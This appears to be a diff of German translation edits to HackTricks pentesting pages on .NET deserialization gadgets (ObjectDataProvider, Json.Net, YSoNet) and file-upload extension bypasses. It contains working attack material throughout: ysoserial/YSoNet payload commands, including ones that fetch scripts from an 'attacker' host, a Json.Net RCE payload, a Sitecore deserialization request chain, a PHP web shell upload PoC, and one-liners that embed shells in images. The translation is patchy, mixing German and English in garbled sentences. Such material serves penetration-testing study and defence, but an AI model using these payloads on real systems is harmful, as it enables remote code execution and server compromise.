+Lerne hier, wie man Cache Deceptions durch den Missbrauch von HTTP Request Smuggling durchführt: [../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception].
 
 ## Automatische Tools
 
-- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner, um web cache poisoning Schwachstellen in einer Liste von URLs zu finden und mehrere Injection-Techniken zu testen.
+- [**toxicache**](https://github.com/xhzeem/toxicache): Golang-Scanner, um web cache poisoning Schwachstellen in einer Liste von URLs zu finden und mehrere Injection-Techniken zu testen.
 
 ## Referenzen
 

src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

@@ -1,20 +1,20 @@
-# Grundlegende .Net-Deserialisierung (ObjectDataProvider gadget, ExpandedWrapper, und Json.Net)
+# Basic .Net Deserialisierung (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Dieser Beitrag widmet sich dem **Verständnis, wie das Gadget ObjectDataProvider ausgenutzt wird**, um RCE zu erhalten, und **wie** die Serialisierungsbibliotheken **Json.Net und xmlSerializer mit diesem Gadget missbraucht werden können.**
+Dieser Beitrag widmet sich dem Verständnis, wie das Gadget ObjectDataProvider ausgenutzt wird, um RCE zu erhalten, und **wie** die Serialisierungsbibliotheken **Json.Net und xmlSerializer** mit diesem Gadget missbraucht werden können.
 
 ## ObjectDataProvider Gadget
 
-Aus der Dokumentation: _die ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
-Ja, das ist eine seltsame Erklärung, also schauen wir uns an, was diese Klasse so interessant macht: Diese Klasse ermöglicht es, ein beliebiges Objekt zu **kapseln**, _**MethodParameters**_ zu verwenden, um **beliebige Parameter zu setzen**, und anschließend **MethodName zu verwenden, um eine beliebige Funktion** des Objekts mit den angegebenen Parametern aufzurufen.\
+Aus der Dokumentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
+Ja, das ist eine seltsame Erklärung, also schauen wir uns an, was diese Klasse so interessant macht: Diese Klasse erlaubt es, ein **beliebiges Objekt zu kapseln**, _**MethodParameters**_ zu verwenden, um **beliebige Parameter zu setzen**, und dann **mithilfe von MethodName eine beliebige Funktion** des beliebigen Objekts mit den angegebenen Parametern aufzurufen.\
 Daher wird das beliebige **Objekt** während der Deserialisierung eine **Funktion** mit **Parametern ausführen.**
 
 ### **Wie ist das möglich**
 
 Der Namespace **System.Windows.Data**, zu finden in der **PresentationFramework.dll** unter `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, ist der Ort, an dem ObjectDataProvider definiert und implementiert ist.
 
-Mit [**dnSpy**](https://github.com/0xd4d/dnSpy) können Sie den Code der Klasse, die uns interessiert, **inspizieren**. Im Bild unten sehen wir den Code von **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
+Mit [**dnSpy**](https://github.com/0xd4d/dnSpy) kann man den Code der Klasse, die uns interessiert, **inspizieren**. Im Bild unten sehen wir den Code von **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
 
 ![](<../../images/image (427).png>)
 
@@ -22,7 +22,7 @@ Wie Sie sehen können, wird beim Setzen von `MethodName` `base.Refresh()` aufger
 
 ![](<../../images/image (319).png>)
 
-Ok, sehen wir uns weiter an, was `this.BeginQuery()` macht. `BeginQuery` wird von `ObjectDataProvider` überschrieben und das ist, was es tut:
+Ok, sehen wir uns an, was `this.BeginQuery()` macht. `BeginQuery` wird von `ObjectDataProvider` überschrieben und das ist, was es tut:
 
 ![](<../../images/image (345).png>)
 
@@ -30,9 +30,9 @@ Beachte, dass am Ende des Codes `this.QueryWorke(null)` aufgerufen wird. Schauen
 
 ![](<../../images/image (596).png>)
 
-Beachte, dass dies nicht der komplette Code der Funktion `QueryWorker` ist, aber es zeigt den interessanten Teil: Der Code **ruft `this.InvokeMethodOnInstance(out ex);` auf;** dies ist die Zeile, in der das **Methoden-Set aufgerufen** wird.
+Beachte, dass dies nicht der komplette Code der Funktion `QueryWorker` ist, aber es zeigt den interessanten Teil: Der Code **ruft `this.InvokeMethodOnInstance(out ex);` auf** — das ist die Zeile, in der die **gesetzte Methode aufgerufen wird**.
 
-Wenn Sie überprüfen möchten, dass allein das Setzen von _**MethodName**_ dazu führt, dass es ausgeführt wird, können Sie diesen Code ausführen:
+Wenn du überprüfen möchtest, dass allein das Setzen von _**MethodName**_** dazu führt, dass es ausgeführt wird**, kannst du diesen Code ausführen:
 ```java
 using System.Windows.Data;
 using System.Diagnostics;
@@ -52,14 +52,14 @@ myODP.MethodName = "Start";
 }
 }
 ```
-Beachte, dass du als Referenz _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ hinzufügen musst, um `System.Windows.Data` zu laden.
+Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
 
 ## ExpandedWrapper
 
-Beim Einsatz des vorherigen Exploits gibt es Fälle, in denen das **object** als eine _**ObjectDataProvider**_-Instanz **deserialisiert wird** (zum Beispiel beim DotNetNuke vuln, mit XmlSerializer wurde das object mittels `GetType` deserialisiert). Dann besteht **no knowledge of the object type that is wrapped** in der _ObjectDataProvider_-Instanz (z. B. `Process`). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
+Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
 
-Diese Klasse erlaubt es, die **Objekttypen der Objekte, die in einer Instanz gekapselt sind, anzugeben**. Somit kann diese Klasse verwendet werden, um ein Quellobjekt (_ObjectDataProvider_) in einen neuen Objekttyp zu kapseln und die Eigenschaften bereitzustellen, die wir benötigen (_ObjectDataProvider.MethodName_ und _ObjectDataProvider.MethodParameters_).  
-Das ist sehr nützlich für Fälle wie den zuvor dargestellten, denn wir können das _ObjectDataProvider_ in eine _ExpandedWrapper_-Instanz einbetten und beim **Deserialisieren** wird diese Klasse das _**OjectDataProvider**_ Objekt **erstellen**, das die in _**MethodName**_ angegebene **Funktion** **ausführen** wird.
+Diese Klasse erlaubt es, s**pezifizieren die Objekttypen der Objekte, die in einer gegebenen Instanz gekapselt sind**. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\
+Das ist sehr nützlich für Fälle wie zuvor gezeigt, weil wir in der Lage sein werden, **einbetten \_ObjectDataProvider**_** in einer **_**ExpandedWrapper** \_ Instanz und **bei der Deserialisierung** diese Klasse wird **erstellen** das _**OjectDataProvider**_ Objekt, das die in _**MethodName**_ angegebene **Funktion** **ausführen** wird.
 
 You can check this wrapper with the following code:
 ```java
@@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
 ```
 ## Json.Net
 
-Auf der [offiziellen Webpage](https://www.newtonsoft.com/json) wird angegeben, dass diese Bibliothek ermöglicht, beliebige .NET-Objekte mit dem leistungsstarken JSON-Serializer von Json.NET zu **serialisieren und zu deserialisieren**. Wenn wir also das **ObjectDataProvider gadget** deserialisieren könnten, könnten wir allein durch das Deserialisieren eines Objekts eine **RCE** auslösen.
+Auf der [official web page](https://www.newtonsoft.com/json) wird angegeben, dass diese Bibliothek es ermöglicht, **beliebige .NET-Objekte mit dem leistungsstarken JSON-Serializer von Json.NET zu serialisieren und zu deserialisieren**. Wenn wir also das **ObjectDataProvider gadget** deserialisieren könnten, könnten wir allein durch das Deserialisieren eines Objekts eine **RCE** auslösen.
 
-### Json.Net example
+### Json.Net Beispiel
 
-Zuerst sehen wir uns ein Beispiel an, wie man ein Objekt mit dieser Bibliothek **serialisiert/deserialisiert**:
+Zunächst sehen wir uns ein Beispiel an, wie man mit dieser Bibliothek ein Objekt **serialisieren/deserialisieren** kann:
 ```java
 using System;
 using Newtonsoft.Json;
@@ -132,7 +132,7 @@ Console.WriteLine(desaccount.Email);
 }
 }
 ```
-### Abusing Json.Net
+### Missbrauch von Json.Net
 
 Mit [ysoserial.net](https://github.com/pwntester/ysoserial.net) habe ich den Exploit erstellt:
 ```java
@@ -147,7 +147,7 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
 }
 ```
-In diesem Code kannst du **den Exploit testen**, führe ihn einfach aus und du wirst sehen, dass calc ausgeführt wird:
+In diesem Code können Sie **den Exploit testen**, führen Sie ihn einfach aus und Sie werden sehen, dass calc ausgeführt wird:
 ```java
 using System;
 using System.Text;
@@ -186,25 +186,25 @@ TypeNameHandling = TypeNameHandling.Auto
 ```
 ## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
 
-Die ObjectDataProvider + ExpandedWrapper-Technik, die oben eingeführt wurde, ist nur eine von VIELEN Gadget-Ketten, die ausgenutzt werden können, wenn eine Anwendung unsichere .NET-Deserialisierung durchführt. Moderne Red‑Team-Tools wie **[YSoNet](https://github.com/irsdl/ysonet)** (und das ältere [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatisieren die Erstellung von **sofort einsetzbaren bösartigen Objektgraphen** für Dutzende von Gadgets und Serialisierungsformaten.
+Die ObjectDataProvider + ExpandedWrapper technique, oben vorgestellt, ist nur eine von VIELEN gadget chains, die ausgenutzt werden können, wenn eine Anwendung **unsafe .NET deserialization** durchführt. Moderne red-team tooling wie **[YSoNet](https://github.com/irsdl/ysonet)** (und das ältere [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatisieren die Erstellung von **ready-to-use malicious object graphs** für Dutzende von Gadgets und Serialisierungsformaten.
 
-Unten steht eine komprimierte Referenz der nützlichsten Chains, die mit *YSoNet* ausgeliefert werden, zusammen mit einer kurzen Erklärung, wie sie funktionieren, und Beispielbefehlen zur Erzeugung der Payloads.
+Nachfolgend eine komprimierte Referenz der nützlichsten Chains, die mit *YSoNet* geliefert werden, zusammen mit einer kurzen Erklärung, wie sie funktionieren, und Beispielbefehlen zum Erzeugen der Payloads.
 
 | Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
 |--------------|----------------------|--------------------|------------------|
-| **TypeConfuseDelegate** | Beschädigt den `DelegateSerializationHolder`-Eintrag, sodass der Delegate nach der Materialisierung auf *jede* vom Angreifer bereitgestellte Methode zeigt (z. B. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
-| **ActivitySurrogateSelector** | Nutzt `System.Workflow.ComponentModel.ActivitySurrogateSelector`, um *die .NET ≥4.8 Typ‑Filterung zu umgehen* und direkt den **Konstruktor** einer angegebenen Klasse aufzurufen oder eine C#-Datei on‑the‑fly zu **kompilieren** | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
-| **DataSetOldBehaviour** | Nutzt die **legacy XML**-Darstellung von `System.Data.DataSet`, um beliebige Typen zu instanziieren, indem die `<ColumnMapping>` / `<DataType>`-Felder gefüllt werden (optional mit gefälschter Assembly via `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
-| **GetterCompilerResults** | Auf WPF-fähigen Laufzeiten (> .NET 5) ketten sich Property-Getter bis zu `System.CodeDom.Compiler.CompilerResults`, und dann wird eine DLL, die mit `-c` angegeben wurde, *kompiliert* oder *geladen* | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
-| **ObjectDataProvider** (Überblick) | Verwendet WPF `System.Windows.Data.ObjectDataProvider`, um eine beliebige statische Methode mit kontrollierten Argumenten aufzurufen. YSoNet fügt eine praktische `--xamlurl`-Variante hinzu, um das bösartige XAML remote zu hosten | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
-| **PSObject (CVE-2017-8565)** | Betten `ScriptBlock` in ein `System.Management.Automation.PSObject` ein, das beim Deserialisieren in PowerShell ausgeführt wird | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
+| **TypeConfuseDelegate** | Korrumpiert den `DelegateSerializationHolder`-Datensatz, sodass der Delegate nach der Materialisierung auf *jede* vom Angreifer bereitgestellte Methode zeigt (z. B. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
+| **ActivitySurrogateSelector** | Missbraucht `System.Workflow.ComponentModel.ActivitySurrogateSelector`, um die .NET ≥4.8 Typ-Filterung zu umgehen und direkt den **Konstruktor** einer bereitgestellten Klasse aufzurufen oder eine C#-Datei zur Laufzeit zu **kompilieren** | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
+| **DataSetOldBehaviour** | Nutzt die **legacy XML**-Darstellung von `System.Data.DataSet`, um beliebige Typen zu instanziieren, indem die `<ColumnMapping>` / `<DataType>`-Felder gefüllt werden (optional kann die Assembly mit `--spoofedAssembly` gefälscht werden) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
+| **GetterCompilerResults** | Auf WPF-fähigen Laufzeiten (> .NET 5) verknüpft es Property-Getter, bis `System.CodeDom.Compiler.CompilerResults` erreicht ist, und **kompiliert** oder **lädt** dann eine mit `-c` gelieferte DLL | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
+| **ObjectDataProvider** (review) | Verwendet WPF `System.Windows.Data.ObjectDataProvider`, um eine beliebige statische Methode mit kontrollierten Argumenten aufzurufen. YSoNet fügt eine praktische `--xamlurl`-Variante hinzu, um bösartigen XAML remote zu hosten | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
+| **PSObject (CVE-2017-8565)** | Betten `ScriptBlock` in `System.Management.Automation.PSObject` ein, der ausgeführt wird, wenn PowerShell das Objekt deserialisiert | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
 
 > [!TIP]
-> Alle Payloads werden standardmäßig an **stdout** ausgegeben, was es trivial macht, sie in andere Tools zu pipen (z. B. ViewState-Generatoren, Base64-Encoder, HTTP-Clients).
+> Alle Payloads werden standardmäßig auf **stdout** geschrieben, wodurch es trivial ist, sie in andere Tools zu pipen (z. B. ViewState-Generatoren, Base64-Encoder, HTTP-Clients).
 
-### Building / Installing YSoNet
+### YSoNet bauen / installieren
 
-Falls keine vorkompilierten Binärdateien unter *Actions ➜ Artifacts* / *Releases* verfügbar sind, richtet der folgende **PowerShell**-Einzeiler eine Build‑Umgebung ein, klont das Repository und kompiliert alles im *Release*-Modus:
+Wenn keine vorkompilierten Binärdateien unter *Actions ➜ Artifacts* / *Releases* verfügbar sind, richtet der folgende **PowerShell**-Einzeiler eine Build-Umgebung ein, klont das Repository und kompiliert alles im *Release*-Modus:
 ```powershell
 Set-ExecutionPolicy Bypass -Scope Process -Force;
 [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
@@ -216,22 +216,22 @@ cd ysonet
 nuget restore ysonet.sln
 msbuild ysonet.sln -p:Configuration=Release
 ```
-Die kompilierte `ysonet.exe` befindet sich dann unter `ysonet/bin/Release/`.
+Die kompilierte `ysonet.exe` befindet sich dann in `ysonet/bin/Release/`.
 
 ### Erkennung & Härtung
-* **Erkennen** Sie unerwartete Kindprozesse von `w3wp.exe`, `PowerShell.exe` oder jedem Prozess, der nutzerübermittelte Daten deserialisiert (z. B. `MessagePack`, `Json.NET`).
-* **Aktivieren und erzwingen** Sie Type-Filtering (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*), wann immer der veraltete `BinaryFormatter` / `NetDataContractSerializer` nicht entfernt werden kann.
-* Soweit möglich auf **`System.Text.Json`** oder **`DataContractJsonSerializer`** mit whitelist-basierten Konvertern migrieren.
-* Blockieren Sie das Laden gefährlicher WPF-Assemblies (`PresentationFramework`, `System.Workflow.*`) in Webprozessen, die diese niemals benötigen sollten.
+* **Erkennen** unerwarteter Kindprozesse von `w3wp.exe`, `PowerShell.exe` oder jedem Prozess, der benutzereingabebasierte Daten deserialisiert (z. B. `MessagePack`, `Json.NET`).
+* Aktiviere und **erzwinge Type-Filtering** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*), wann immer der veraltete `BinaryFormatter` / `NetDataContractSerializer` nicht entfernt werden kann.
+* Wo möglich zu **`System.Text.Json`** oder **`DataContractJsonSerializer`** mit Whitelist-basierten Convertern migrieren.
+* Verhindere das Laden gefährlicher WPF-Assemblies (`PresentationFramework`, `System.Workflow.*`) in Webprozessen, die diese niemals benötigen sollten.
 
-## Praxisbeispiel (Sink): Sitecore convertToRuntimeHtml → BinaryFormatter
+## Praxisbeispiel: Sitecore convertToRuntimeHtml → BinaryFormatter
 
-Ein praktischer .NET-Sink, erreichbar in authentifizierten Sitecore XP Content Editor-Flows:
+Ein praktischer .NET-Sink, der in authentifizierten Sitecore XP Content Editor-Flows erreichbar ist:
 
 - Sink API: `Sitecore.Convert.Base64ToObject(string)` kapselt `new BinaryFormatter().Deserialize(...)`.
-- Trigger-Pfad: Pipeline `convertToRuntimeHtml` → `ConvertWebControls`, die nach einem Geschwisterelement mit `id="{iframeId}_inner"` sucht und ein `value`-Attribut liest, das als base64-kodierte serialisierte Daten behandelt wird. Das Ergebnis wird als string gecastet und in das HTML eingefügt.
+- Auslösepfad: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, die nach einem Geschwisterelement mit `id="{iframeId}_inner"` sucht und ein `value`-Attribut liest, das als base64-kodierte serialisierte Daten behandelt wird. Das Ergebnis wird in einen string gecastet und in das HTML eingefügt.
 
-Minimales End‑to‑End (authentifiziert):
+Minimaler End‑to‑End (authentifiziert):
 ```
 // Load HTML into EditHtml session
 POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
@@ -246,9 +246,9 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
 // Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
 GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
 ```
-- Gadget: jede BinaryFormatter-Kette, die einen string zurückgibt (Nebenwirkungen werden während der Deserialisierung ausgeführt). Siehe YSoNet/ysoserial.net, um Payloads zu generieren.
+- Gadget: any BinaryFormatter chain returning a string (Nebeneffekte laufen während der Deserialisierung). Siehe YSoNet/ysoserial.net, um payloads zu erzeugen.
 
-Für eine vollständige Kette, die pre‑auth mit HTML cache poisoning in Sitecore beginnt und zu diesem Sink führt:
+Für eine vollständige Kette, die pre‑auth mit HTML cache poisoning in Sitecore beginnt und zu diesem sink führt:
 
 {{#ref}}
 ../../network-services-pentesting/pentesting-web/sitecore/README.md

src/pentesting-web/file-upload/README.md

@@ -15,13 +15,13 @@ Other useful extensions:
 - **Perl**: _.pl, .cgi_
 - **Erlang Yaws Web Server**: _.yaws_
 
-### Umgehen von Dateierweiterungsprüfungen
+### Umgehung von Dateiendungsprüfungen
 
-1. Falls vorhanden, prüfe die vorherigen Erweiterungen. Teste sie auch mit einigen Großbuchstaben: _pHp, .pHP5, .PhAr ..._
-2. _Überprüfe **das Hinzufügen einer gültigen Erweiterung vor** der Ausführungserweiterung (verwende auch die vorherigen Erweiterungen):_
+1. Wenn vorhanden, **prüfe** die **vorherigen Dateiendungen.** Teste sie außerdem mit einigen **Großbuchstaben**: _pHp, .pHP5, .PhAr ..._
+2. _Prüfe **das Hinzufügen einer gültigen Dateiendung vor** der Ausführungs-Endung (verwende auch die vorherigen Dateiendungen):_
 - _file.png.php_
 - _file.png.Php5_
-3. Versuche, **spezielle Zeichen am Ende hinzuzufügen.** Du kannst Burp verwenden, um alle **ascii** und **Unicode** Zeichen zu **bruteforce**. (_Beachte, dass du auch versuchen kannst, die **zuvor genannten** **Erweiterungen** zu verwenden_)
+3. Versuche, am Ende **Sonderzeichen hinzuzufügen.** Du kannst Burp verwenden, um alle **ascii** und **Unicode** Zeichen zu **bruteforce**n. (_Beachte, dass du auch versuchen kannst, die **zuvor** erwähnten **Extensions** zu verwenden_)
 - _file.php%20_
 - _file.php%0a_
 - _file.php%00_
@@ -31,7 +31,7 @@ Other useful extensions:
 - _file._
 - _file.php...._
 - _file.pHp5...._
-4. Versuche, die Schutzmechanismen zu umgehen, indem du den serverseitigen Erweiterungsparser täuschst, mit Techniken wie dem Verdoppeln der Erweiterung oder dem Hinzufügen von Junk-Daten (**null** bytes) zwischen Erweiterungen. _Du kannst auch die **vorherigen Erweiterungen** verwenden, um ein besseres payload vorzubereiten._
+4. Versuche, die Schutzmechanismen zu umgehen, indem du den serverseitigen Extension-Parser **täuschst** mit Techniken wie dem **Doppeln** der **Extension** oder dem **Hinzufügen von Junk-Daten** (**null** Bytes) zwischen Extensions. _Du kannst auch die **vorherigen Extensions** verwenden, um ein besseres Payload vorzubereiten._
 - _file.png.php_
 - _file.png.pHp5_
 - _file.php#.png_
@@ -40,13 +40,13 @@ Other useful extensions:
 - _file.php%0a.png_
 - _file.php%0d%0a.png_
 - _file.phpJunk123png_
-5. Füge eine weitere Ebene von Erweiterungen zur vorherigen Prüfung hinzu:
+5. Füge **eine weitere Ebene von Dateiendungen** zur vorherigen Prüfung hinzu:
 - _file.png.jpg.php_
 - _file.php%00.png%00.jpg_
-6. Versuche, die Ausführungs-Erweiterung vor die gültige Erweiterung zu setzen und hoffe, dass der Server fehlkonfiguriert ist. (nützlich, um Apache-Fehlkonfigurationen auszunutzen, bei denen alles mit der Erweiterung .php, aber nicht unbedingt mit der Endung .php, Code ausführt):
+6. Versuche, die **ausführbare Extension vor** die gültige Extension zu setzen und hoffe, dass der Server falsch konfiguriert ist. (nützlich, um Apache-Misskonfigurationen auszunutzen, bei denen alles mit der Extension .php (aber nicht unbedingt mit der Endung .php) Code ausführt):
 - _ex: file.php.png_
-7. Verwendung von **NTFS alternate data stream (ADS)** unter **Windows**. In diesem Fall wird ein Doppelpunkt-Zeichen ":" nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Als Ergebnis wird auf dem Server eine **leere Datei mit der verbotenen Erweiterung** erstellt (z. B. "file.asax:.jpg”). Diese Datei kann später mit anderen Techniken bearbeitet werden, z. B. durch Verwendung des kurzen Dateinamens. Das "**::$data**” Muster kann auch verwendet werden, um nicht-leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktzeichens nach diesem Muster ebenfalls nützlich sein, um weitere Einschränkungen zu umgehen (z. B. "file.asp::$data.”)
-8. Versuche, die Dateinamenlimits zu überschreiten. Die gültige Erweiterung wird abgeschnitten. Und das bösartige PHP bleibt übrig. AAA<--SNIP-->AAA.php
+7. Verwendung des **NTFS alternate data stream (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunkt ':' nach einer verbotenen Extension und vor einer erlaubten eingefügt. Dadurch wird auf dem Server eine **leere Datei mit der verbotenen Extension** erstellt (z. B. "file.asax:.jpg"). Diese Datei kann später mit anderen Techniken bearbeitet werden, z. B. durch Verwendung ihres kurzen Dateinamens. Das Muster "**::$data**” kann ebenfalls verwendet werden, um nicht-leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punkts nach diesem Muster nützlich sein, um weitere Einschränkungen zu umgehen (z. B. "file.asp::$data.”)
+8. Versuche, die Grenzwerte für Dateinamen zu überschreiten. Die gültige Extension wird abgeschnitten und das bösartige PHP bleibt übrig. AAA<--SNIP-->AAA.php
 
 ```
 # Linux maximum 255 bytes
@@ -59,15 +59,15 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAA<--SNIP 232 A-->AAA.php.png
 ```
 
-#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
+#### UniSharp Laravel Filemanager vor 2.9.1 (.php. nachgestellter Punkt) – CVE-2024-21546
 
-Einige Upload-Handler trimmen oder normalisieren nachgestellte Punktzeichen aus dem gespeicherten Dateinamen. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) Versionen vor 2.9.1 kannst du die Erweiterungsvalidierung umgehen durch:
+Einige Upload-Handler kürzen oder normalisieren nachgestellte Punktzeichen im gespeicherten Dateinamen. Im UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) in Versionen vor 2.9.1 kann man die Extension-Validierung umgehen durch:
 
-- Verwenden eines gültigen Image-MIME-Typs und Magic-Headers (z. B. PNG’s `\x89PNG\r\n\x1a\n`).
-- Die hochgeladene Datei mit einer PHP-Erweiterung gefolgt von einem Punkt benennen, z. B. `shell.php.`.
-- Der Server entfernt den nachgestellten Punkt und persistiert `shell.php`, das ausgeführt wird, wenn es in einem vom Web bedienten Verzeichnis platziert wird (standardmäßiger public storage wie `/storage/files/`).
+- Verwendung eines gültigen Image-MIME und Magic-Headers (z. B. PNG’s `\x89PNG\r\n\x1a\n`).
+- Den hochgeladenen Dateinamen mit einer PHP-Extension gefolgt von einem Punkt benennen, z. B. `shell.php.`.
+- Der Server entfernt den nachgestellten Punkt und speichert `shell.php`, welches ausgeführt wird, wenn es in einem vom Web erreichbaren Verzeichnis abgelegt wird (Standard public storage wie `/storage/files/`).
 
-Minimal PoC (Burp Repeater):
+Minimaler PoC (Burp Repeater):
 ```http
 POST /profile/avatar HTTP/1.1
 Host: target
@@ -80,65 +80,65 @@ Content-Type: image/png
 \x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
 ------WebKitFormBoundary--
 ```
-Rufe dann den gespeicherten Pfad auf (typisch bei Laravel + LFM):
+Rufe dann den gespeicherten Pfad auf (typisch in Laravel + LFM):
 ```
 GET /storage/files/0xdf.php?cmd=id
 ```
-Gegenmaßnahmen:
+Mitigations:
 - Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
-- Durchsetzen strenger serverseitiger allowlists und erneute Validierung des persistierten Dateinamens.
-- Uploads aus nicht-ausführbaren Speicherorten bereitstellen.
+- Durchsetzen strikter serverseitiger allowlists und erneute Validierung des gespeicherten Dateinamens.
+- Serve uploads from non-executable locations.
 
-### Umgehen von Content-Type, Magic Number, Compression & Resizing
+### Bypass Content-Type, Magic Number, Compression & Resizing
 
-- Bypass **Content-Type** checks, indem man den **value** des **Content-Type** **header** auf setzt: _image/png_, _text/plain_, application/octet-stream
+- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
-- Bypass der **magic number**-Prüfung, indem man am Anfang der Datei die **bytes of a real image** hinzufügt (verwirrt das _file_ command). Oder die Shell in den **metadata** einbringen:\
+- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
-`\` oder du könntest das **payload direkt** in ein Bild einfügen:\
+`\` or you could also **introduce the payload directly** in an image:\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
-- Wenn auf dein Bild **compression** angewendet wird, z. B. durch Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht mehr nützlich. Du könntest jedoch den **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **compression** überlebt.
+- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
